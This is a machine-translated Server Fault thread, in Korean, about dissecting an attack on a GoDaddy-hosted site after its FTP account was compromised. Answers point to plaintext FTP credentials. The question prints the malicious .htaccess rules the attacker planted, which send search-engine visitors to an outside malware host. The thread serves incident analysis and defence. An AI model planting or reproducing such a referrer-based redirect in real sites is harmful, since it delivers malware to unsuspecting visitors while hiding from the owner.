손상된 FTP 계정을 통한 웹 사이트 공격 해부


9

내 사이트가 해킹 당했고이 시점에서 일부 세부 정보를 알고 있지만 정확히 어떻게 발생했는지 또는 향후이를 방지하는 방법을 잃어 가고 있습니다. 공격이 다시 발생하는 것을 막기 위해 공격을 해부하는 데 도움이 필요합니다. 시간이 조금 걸리지 만 문제를 해결하는 데 도움이되는 충분한 정보를 제공하고 싶습니다.

여기에 일어난 일이 있습니다.

몇 주 전에 호스팅 회사 인 GoDaddy로부터 이메일을 받았습니다. 내 사이트에서 너무 많은 리소스를 사용하고 있으며 MySQL 쿼리가 원인이라고 예상했습니다. 문제의 검색어는 5-6 개의 검색어가 포함 된 검색어였습니다. 내가 설정 한 방식에 따라 검색어가 많을수록 검색어가 더 복잡해집니다. 문제 없어요. 문제를 해결했지만 동시에 GoDaddy에서 계정을 일시적으로 종료했으며 모든 것이 정상으로 돌아 오기까지 약 3 일이 걸렸습니다.

이 사건으로 인해 검색 엔진 트래픽이 약 90 % 나 급격히 감소했습니다. 그것은 아무것도 생각하지 않았기 때문에 그것을 쿼리 fiasco에 작성하고 Google이 사이트를 다시 크롤링 할 때 시간 내에 돌아올 것이라고 생각했습니다. 그렇지 않았다.

며칠 전 사용자로부터 내 사이트가 악성 코드를 호스팅하고 있다는 이메일을 받았습니다. 브라우저에 사이트를 직접로드했지만 페이지에 어떤 것도 주입되지 않았습니다. 그런 다음 .htaccess 파일을 확인하고 다음을 발견했습니다.

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
RewriteRule .* http://sokoloperkovuskeci.com/in.php?g=584 [R,L]
</IfModule>

귀엽다. 그리고 조금 사악한. 주소 표시 줄이나 책갈피에서 사이트로 직접 이동하면 일반적으로 사이트가 정상적으로로드됩니다. 검색 엔진의 링크를 통해 내 사이트를 방문하는 경우는 거의 없기 때문에 해킹이 감지되지 않는 한 그 이유는 없습니다. 이 악성 코드는 또한 내 사이트에서 직접 호스팅되지 않았습니다.

빠른 검색을 통해 다른 사람들도 같은 문제를 겪고 있음을 알았지 만 아직 감지하지 못한 사람이 더 많이 있다고 생각합니다. 대부분의 권장 사항은 최신 버전의 소프트웨어로 업그레이드하고 암호를 변경하는 것입니다.

유비쿼터스 Wordpress가 아닌 자체 사용자 지정 콘텐츠 관리 시스템을 사용함에 따라 조금 더 깊이 파고 들었습니다. PHP 익스플로잇에 사용되는 일반적인 기능에 대해 모든 파일을 스캔했습니다. base64_decode, exec, shell 등. 의심스러운 항목이 없으며 추가 파일이 없습니다.

다음으로 GoDaddy의 파일 관리자 기록을 확인한 결과 .htaccess 파일이 검색 쿼리에서 너무 많은 서버 리소스를 사용한 것으로 고발 된 시점과 정확히 같은 날짜에 변경되었음을 알 수있었습니다. 불행히도 우연의 일치 일 수 있지만 완전히 확신 할 수는 없습니다. .htaccess 파일의 리디렉션은 리소스를 많이 사용하지 않는 것으로 보이며 쿼리가 리소스를 많이 사용할 수있을 정도로 복잡했습니다.

내 코드에 문제가 없는지 확인하고 싶었으므로 .htaccess 파일이 수정 될 때쯤에 트래픽 로그에서 의심스러운 활동이 있는지 확인했지만 비정상적이거나 해킹 시도.

마지막으로 GoDaddy에서 FTP 로그를 요청했으며 .htaccess 파일이 변경 될 때 무단 FTP 액세스가 있음을 발견했습니다. 컴퓨터를 물리적으로 종료 한 상태에서 휴가 중이 었으며 액세스 자격 증명을 가진 사람은 없습니다. FTP를 사용하는 사람이 계정에 기본 FTP 사용자를 사용한 것처럼 보이지만 IP는 91.220.0.19이며 이는 라트비아 출신 입니다.

공유 호스팅에서는 GoDaddy가 사이트 URL을 기반으로 기본 FTP 사용자 이름을 자동으로 할당하는 것으로 나타납니다. 그것은 매우 예측 가능하거나 적어도 호스팅 계정을 설정할 때였습니다. 몇 년 전에 호스팅 계정에 처음 가입 했으므로 변경되었을 수도 있지만 기억하는 것에서 기본 FTP 사용자 이름을 선택할 수 없었습니다. 현재 사용자 이름도 변경할 수 없으며 계정을 취소하고 사임하지 않는 한 GoDaddy에서 사용자 이름을 변경할 수없는 것처럼 들립니다. 다른 FTP 사용자를 작성, 삭제 및 편집 할 수 있지만 기본 FTP 사용자는 삭제할 수 없습니다. 비밀번호 만 변경할 수 있습니다.

기본 FTP 사용자 이름을 제외하고 사이트, 데이터베이스, 관리자 및 계정에 대한 모든 액세스 자격 증명은 고양이가 키보드를 밟은 것처럼 보이는 횡설수설적인 임의 사용자 이름 및 암호입니다. 예 : lkSADf32! $ asJd3.

링크에서 취약점이되는 경우를 대비하여 컴퓨터에서 바이러스, 맬웨어 등을 철저히 검사했지만 아무것도 나타나지 않았습니다. 안티 바이러스 프로그램 인 방화벽을 사용하고 안전한 브라우징 습관을 사용하려고합니다.

사이트를 업데이트 할 때 Core FTP LE와 SSH / SFTP 연결을 사용합니다. 호스팅 계정은 Linux 설정입니다.

GoDaddy 기술 지원 부서와 대화 할 때 FTP 암호가 어떻게 손상되었는지 확실하지 않습니다. 공유 호스팅에서는 FTP 사용자 수준에서 IP 블록을 배치 할 수 없습니다. 또한 기본 FTP 사용자 이름을 변경할 수 없습니다. FTP 액세스에 대해 무차별 대항 보호 기능이 있는지 물었을 때 기술은 처음에는 불확실하게 들렸지 만 몇 번이나 다시 해석 한 후에 말했다. 그러나 이전 전화에서 동일한 질문을하고 GoDaddy가 FTP 액세스에 대한 무차별 보호 기능을 제공하지 않는다고 들었습니다. 이 시점에서 나는 그들이 있는지 아닌지를 모른다.

보드 전체에서 모든 액세스 자격 증명을 변경하고 .htaccess 파일을 사용하여 라트비아어 IP 주소를 차단했습니다 (FTP를 사용하는 경우 차이가 없을 것입니다). 그러나 여전히 FTP가 어떻게되는지 잘 모르겠습니다. 암호는 처음부터 손상되었습니다.

문제가 내 코드 (FTP 정보가 노출되지 않았음에도 불구하고) 또는 내 컴퓨터에 있지 않은 것이 확실합니다. 내가 의심하지만 증명하는 방법을 모른다는 것은 사용자 이름을 예측할 수 있으므로 FTP 암호가 무차별 적이라는 것입니다. 무차별 대입 공격은 또한 사용중인 서버 리소스 (내 쿼리에서 비난)와 일치했을 수 있지만 서버의 기술적 인 측면에서 이것이 가능한지 또는 가능한지를 알 수는 없습니다.

이제 나는 내가 무엇을해야하는지 알고있는 것 같습니다. 공격이 수행 된 방법과 공격을 방지하는 방법을 이해하고 싶습니다. 따라서 공격 경로, 실행할 수있는 진단 또는 추가 보안 조치에 대한 추가 아이디어가 있다면 매우 감사하겠습니다. 호스트를 변경하거나 공유 호스팅을 버리고 싶지만이 문제가 다시 발생하는 것을 막고 싶습니다.

도와주세요, 오비완 케노비 ...

답변:


8

게시물을 읽는 동안 익숙한 내용이 중복되었습니다. 그런 다음 한 달 전에 게임 사이트에 액세스하려고 할 때 이것을 보았습니다. 검색 엔진 리퍼러에서만 수행되는 리디렉션 동작과 동일한 동작을 참조 하십시오 .

.htaccess내 가정용 컴퓨터의 바이러스 백신이 몇 주 전에 나에게 큰 소음을 냈기 때문에 귀하의 도메인 이름 이 익숙해졌습니다.

그리고, 내가 이것을 관찰 한 사이트의 호스트 인 당신은 그것을 알지 못합니까? GoDaddy.

나는 당신이 당신의 실수로 비밀번호를 강탈 당했다고 생각하지 않습니다. 나는 GoDaddy가 여기서 타협 한 것 같아요. 그리고 나는 FTP 암호를 일반 텍스트로 저장하기 위해 그것들을 지나치지 않을 것입니다. 좀 더 파고이 기사 는 같은 것을 제안; 무차별 대항 보호는 문제 중 가장 적을 수 있습니다.


OP가 FTP 자격 증명을 변경했다고 가정합니다. 잘만되면 그들은 일반 텍스트 암호 저장소를 사용하지 않습니다. 오히려 실망 스러울 것입니다.
Evan Anderson

@Evan 마지막 단락에 링크 된 기사를 확인하십시오. "비난 GoDaddy"이론을지지하는 것 같습니다. 다시 말해, 암호 암호화는 단지 흥미로운 상상력입니다. ;)
Shane Madden

다시 한 번 살펴본 후 SSH를 통해 연결 합니다. 그러나 사용해야 할 자격 증명은 기본 FTP 사용자의 자격 증명입니다. 공유 호스팅에서 볼 수있는 FTP에서도 작동하지 않으면 SSH 전용으로 사용자를 설정할 수있는 방법이 없습니다.
Debby Abby

@Dear SSH를 통해 로그인하면 자격 증명이 전송 중에 암호화됩니다. FTP 또는 HTTP와 같은 비보안 프로토콜을 통해 연결할 때 유선으로 스니핑 될 때만 취약합니다.
Shane Madden

2
다른 이유로 인해 전체 게시물을 읽는 데 인내심이 있다고 생각한 경우에는 찬성했습니다.
웨슬리

6

쉬운! FTP를 사용하지 마십시오. 자격 증명을 일반 텍스트로 전송하고 모든 데이터를 일반 텍스트로 전송합니다. 파일을 전송하는 가장 안전하지 않은 방법 중 하나입니다. 호스트가 다른 방법을 지원하지 않으면 새 호스트를 찾으십시오.


+1-호스트 된 서버에 대한 지점 간 직접 연결을 얻을 수 없습니다. 정의상 일반 텍스트 FTP 로그온은 신뢰할 수없는 네트워크를 통과 해야 합니다. 자격 증명이 한 번에 다른 곳에 기록되어 있기 때문에 소유하고 있습니다. (실제로 ddds는 사이트를 수정 한 공격자가 자격 증명을 캡처 한 사람이 아니었기 때문에 ISP 네트워크 내에서 실행되는 탐지되지 않은 스니퍼에 의해 기록되어 구매 및 판매되는 자격 증명 데이터베이스에 추가되었을 수 있습니다. ..) 오늘날의 인터넷에서는 일반 텍스트 인증을 사용하여 간단히 살 수 없습니다 . 기간.
Evan Anderson

사실, 나는 그 시간에 FTP를 한 번도 사용하지 않고 1 년 이상 SSH를 사용하지 않았습니다. 그러나 GoDaddy가 다른 파일 전송 방법을 제공하더라도 기본 FTP 사용자를 삭제할 수는 없습니다. 내가 말했듯이, 나는 호스트 전환에 문제가 없으며, 무슨 일이 있었는지 알아 내고 싶습니다. 누군가 FTP 자격 증명을 어떻게들을 수 있습니까?
Debby Abby

@Dear-FTP 사용자 및 비밀번호는 패킷의 일반 텍스트입니다. 패킷을 캡처 할 수있는 모든 프로그램이이를 공개합니다. 에반의 의견이 잘 설명되어 있습니다.
MDMarra

@Evan-해결책은 FTP와 도랑 공유 호스팅을 사용하지 않는 것입니다. 아니면 SSH를 독점적으로 사용하면서도 공유 호스팅으로 안전 할 수 있습니까?
Debby Abby

3
@Dear-호스트가 내 사이트에서 FTP를 사용 중지 할 수없는 경우 사용하고 싶지 않습니다.
MDMarra
당사 사이트를 사용함과 동시에 당사의 쿠키 정책개인정보 보호정책을 읽고 이해하였음을 인정하는 것으로 간주합니다.
Licensed under cc by-sa 3.0 with attribution required.